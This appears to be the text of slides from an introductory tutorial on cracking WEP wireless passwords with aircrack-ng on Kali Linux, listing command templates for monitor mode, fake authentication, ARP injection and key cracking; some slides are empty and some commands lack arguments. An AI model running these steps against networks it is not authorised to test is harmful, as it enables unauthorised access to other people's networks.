Introduction to Wireless Attack

1. WIRELESS ATTACK
(CRACKING WEP)

2. Requirements
 Attacking Machine : Supported Wireless Card
 Kali Linux : aircrack-ng
 Wireless Access Point : using WEP security
 Access Point’s Client : any devices

3. Preparing Wireless Card
1) Preparing Wireless Interface Card
identify wireless interface name : ifconfig
identify driver and chipset : airmon-ng
identify wireless card mode : iwconfig
identify and kill interference process : airmon-ng <check | check kill>
change to monitor mode : airmon-ng start <interface>

4. Preparing Wireless Card

5. Injection Test
2) Injection Test
scan active access points : airodump-ng <interface>
scan for specific channel : airodump-ng -c <channel> <interface>
test the target AP : aireplay-ng

6. Injection Test

7. Create Initialization Vector
3) Generate Initializing Vector (IV)
Capture ARP Packets : airodump-ng -c -bssid -w <interface>
Fake authentication : aireplay-ng -1 0 -e -a -h <interface>
ARP injection : aireplay-ng -3 -b -h <interface>

8. Injection Test

9. Crack The Password
4) Crack the Password
crack WEP key : aircrack-ng <IV_file>
if fail regenerate IV to capture enough data 

10. Crack The Password
